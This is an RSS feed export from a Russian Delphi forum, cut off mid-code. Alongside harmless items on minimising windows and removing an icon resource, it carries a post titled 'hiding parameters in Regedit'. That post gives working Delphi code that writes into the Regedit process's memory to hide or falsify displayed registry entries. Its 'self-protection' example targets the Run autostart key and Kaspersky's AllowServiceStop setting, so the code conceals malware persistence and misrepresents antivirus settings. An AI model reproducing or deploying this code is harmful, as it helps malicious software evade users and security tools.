<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>delfcode</title>
<link>https://delfcode.ru/forum/</link>
<description>delfcode</description>
<lastBuildDate>Thu, 28 Jan 2016 16:42:25 GMT</lastBuildDate>
<generator>uCoz Web-Service</generator>
<item>
<title>Свернуть все окна</title>
<link>https://delfcode.ru/forum/22-1464-1</link>
<pubDate>Thu, 28 Jan 2016 16:42:25 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ThundeRLorD&lt;br /&gt;Автор последнего сообщения: ThundeRLorD&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Сворачивает все окна кроме нашей программы&lt;br /&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;function EnumMiniProc(Wnd : HWND; Param : Longint&amp;#41; : Boolean; stdcall;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;Result := True;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (Wnd = Param&amp;#41; or (Wnd = Application.Handle&amp;#41; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit&lt;br /&gt;&amp;nbsp;&amp;nbsp;else if isWindowVisible(Wnd&amp;#41; and not isIconic(Wnd&amp;#41; and isWindow(Wnd&amp;#41; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowWindow(Wnd, SW_MINIMIZE&amp;#41;;&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;procedure TForm1.Button1Click(Sender: TObject&amp;#41;;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;EnumWindows(@EnumMiniProc, Handle&amp;#41;;&lt;br /&gt;end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>ThundeRLorD</dc:creator>
<guid>https://delfcode.ru/forum/22-1464-1</guid>
</item>
<item>
<title>Шифрование текста</title>
<link>https://delfcode.ru/forum/22-1330-1</link>
<pubDate>Sat, 10 Jan 2015 20:48:09 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Шифрование текста&lt;br /&gt;Автор темы: ApmeM&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Куплю исходник оригинального способа шифрования/дешифрования текста. Шифрование всех русских, английских, и спец символов (!&quot;№;%:?*() и т.д.). &lt;br /&gt;&lt;br /&gt; Кто что предложит?</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>ApmeM</dc:creator>
<guid>https://delfcode.ru/forum/22-1330-1</guid>
</item>
<item>
<title>Удалить MAINICON</title>
<link>https://delfcode.ru/forum/22-1186-1</link>
<pubDate>Sun, 09 Feb 2014 22:50:38 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 14</description>
<content:encoded>задача до боли глупая. имеется exe с ресурсами. ничем не упакован. т.е. ресурсы можно свободно заменять. &lt;br /&gt; проблема встала в удалении иконки (MAINICON). &lt;br /&gt; Реализовывал через UpdateResource, в итоге в файле каша. &lt;br /&gt; Подскажите как правильно удалить ресурс чтобы не повредить структуру исполняемого файла. &lt;img src=&quot;http://s5.ucoz.net/sm/23/happy.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;happy&quot; /&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/22-1186-1</guid>
</item>
<item>
<title>Скрываем параметры в Regedit&apos;е</title>
<link>https://delfcode.ru/forum/22-1195-1</link>
<pubDate>Sat, 25 Jan 2014 18:01:48 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ix&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 7</description>
<content:encoded>&lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;unit RegHide; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses Windows, SysUtils, CommCtrl; &lt;br /&gt;&lt;br /&gt; procedure RegeditSetItemText(ALVHandle: HWND; itemNum: Integer; subItem: Integer; text: PChar&amp;#41;; &lt;br /&gt; function RegeditFindRec(ALVHandle: HWND;RecName:string;var value: String&amp;#41;: Integer; &lt;br /&gt; procedure RegeditDeleteItem(h: HWND; num: Integer&amp;#41;; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; procedure RegeditSetItemText(ALVHandle: HWND; itemNum: Integer; subItem: Integer; Text: PChar&amp;#41;; //подменить значение параметра &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcess: THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwProcessID: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwWriten: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItemCount: Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i, nTextLength: Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IPointer,TextPointer: Pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pLVItem: ^LV_ITEM; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem: LV_ITEM; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;svText: ShortString; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ALVHandle = 0 then Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwProcessID := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetWindowThreadProcessId(ALVHandle, @dwProcessID&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if dwProcessID = 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExitProcess(GetLastError&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcess := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcess := OpenProcess(PROCESS_ALL_ACCESS, True, dwProcessID&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if hProcess = 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExitProcess(GetLastError&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TextPointer := VirtualAllocEx(hProcess, nil, 256, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IPointer := VirtualAllocEx(hProcess, nil, SizeOf(LV_ITEM&amp;#41;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZeroMemory(@LVItem, SizeOf(LV_ITEM&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem.mask := LVIF_TEXT; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem.pszText := TextPointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem.cchTextMax := 255; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem.iSubItem := 2; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteProcessMemory(hProcess,TextPointer,@Text&amp;#91;0],255,dwWriten&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteProcessMemory(hProcess, IPointer, @LVItem, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SizeOf(LV_ITEM&amp;#41;, dwWriten&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nTextLength := SendMessage(ALVHandle, LVM_SETITEMTEXT, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;itemNum, Integer(IPointer&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VirtualFreeEx(hProcess, TextPointer, 0, MEM_RELEASE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VirtualFreeEx(hProcess, IPointer, 0, MEM_RELEASE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hProcess&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function RegeditFindRec(ALVHandle: HWND;RecName:string; var value: String&amp;#41;: Integer; //найти параметр по имени &lt;br /&gt; const &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cchTextMax=255; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcess: THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwProcessID: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwWriten: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItemCount: Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i, nTextLength: Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pLVItem: ^LV_ITEM; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem: LV_ITEM; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pszText: PChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;svText: ShortString; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;valText: ShortString; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := -1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ALVHandle = 0 then Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItemCount := ListView_GetItemCount(ALVHandle&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwProcessID := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetWindowThreadProcessId(ALVHandle, @dwProcessID&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if dwProcessID = 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExitProcess(GetLastError&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcess := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcess := OpenProcess(PROCESS_ALL_ACCESS, True, dwProcessID&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if hProcess = 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExitProcess(GetLastError&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pszText := VirtualAllocEx(hProcess, nil, cchTextMax, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MEM_COMMIT or MEM_TOP_DOWN, PAGE_READWRITE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pLVItem := VirtualAllocEx(hProcess, nil, SizeOf(LV_ITEM&amp;#41;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MEM_COMMIT or MEM_TOP_DOWN, PAGE_READWRITE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZeroMemory(@LVItem, SizeOf(LV_ITEM&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem.mask := LVIF_TEXT; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem.pszText := pszText; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem.cchTextMax := cchTextMax; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i := 0 to LVItemCount - 1 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem.iSubItem := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if not WriteProcessMemory(hProcess, pLVItem, @LVItem, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SizeOf(LV_ITEM&amp;#41;, dwWriten&amp;#41; then Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nTextLength := SendMessage(ALVHandle, LVM_GETITEMTEXT, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i, Integer(pLVItem&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZeroMemory(@svText, cchTextMax&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReadProcessMemory(hProcess, LVItem.pszText, @svText&amp;#91;1], &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nTextLength, dwWriten&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LVItem.iSubItem := 2; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if not WriteProcessMemory(hProcess, pLVItem, @LVItem, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SizeOf(LV_ITEM&amp;#41;, dwWriten&amp;#41; then Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nTextLength := SendMessage(ALVHandle, LVM_GETITEMTEXT, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i, Integer(pLVItem&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZeroMemory(@valText, cchTextMax&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReadProcessMemory(hProcess, LVItem.pszText, @valText&amp;#91;1], &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nTextLength, dwWriten&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;value := StrPas(PChar(@valText&amp;#91;1]&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if StrPas(PChar(@svText&amp;#91;1]&amp;#41;&amp;#41;=RecName then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := i; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VirtualFreeEx(hProcess, pszText, 0, MEM_RELEASE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VirtualFreeEx(hProcess, pLVItem, 0, MEM_RELEASE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hProcess&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure RegeditDeleteItem(h: HWND; num: Integer&amp;#41;; //удалить параметр из списка &lt;br /&gt; begin &lt;br /&gt; ListView_DeleteItem(h,num&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Использовать можно так: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure TSelfProtectionThread.HideToRegedit; //процедура должна быть в отдельном потоке, чтобы основной код не прерывался &lt;br /&gt; const &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str_regedit=&apos;Редактор реестра&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str_regstatusbar=&apos;msctls_statusbar32&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str_reglistview=&apos;SysListView32&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str_regseek=&apos;&amp;#92;HKEY_LOCAL_MACHINE&amp;#92;SOFTWARE&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Run&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str_regseek2=&apos;&amp;#92;HKEY_LOCAL_MACHINE&amp;#92;SOFTWARE&amp;#92;KasperskyLab&amp;#92;protected&amp;#92;AVP14.0.0&amp;#92;settings&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str_regparam=&apos;AllowServiceStop&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str_regvalue=&apos;0x00000000 (0&amp;#41;&apos;; &lt;br /&gt;&lt;br /&gt; var w: Hwnd; &lt;br /&gt; len: Integer; &lt;br /&gt; s: String; &lt;br /&gt; nv: String; &lt;br /&gt; Num: Integer; &lt;br /&gt; value: String; &lt;br /&gt; regStarted: Boolean; &lt;br /&gt; label return; &lt;br /&gt; begin &lt;br /&gt; regStarted := False; &lt;br /&gt;&lt;br /&gt; return: //если Regedit открыт, из процедуры не выходим &lt;br /&gt;&lt;br /&gt; sleep(1&amp;#41;; //чтоб не грузить процессор &lt;br /&gt; w := FindWindow(nil,str_regedit&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if w &lt;&gt; 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;regStarted := True; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;w := FindWindowEx(w,0,str_regstatusbar,nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if w &lt;&gt; 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;len := SendMessage(w,WM_GETTEXTLENGTH,0,0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetLength(s,len+1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SendMessage(w,WM_GETTEXT,len+1,Integer(@S&amp;#91;1]&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Pos(str_regseek,s&amp;#41;&lt;&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//удаляем параметр &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;w := FindWindow(nil,str_regedit&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if w &lt;&gt; 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;w := 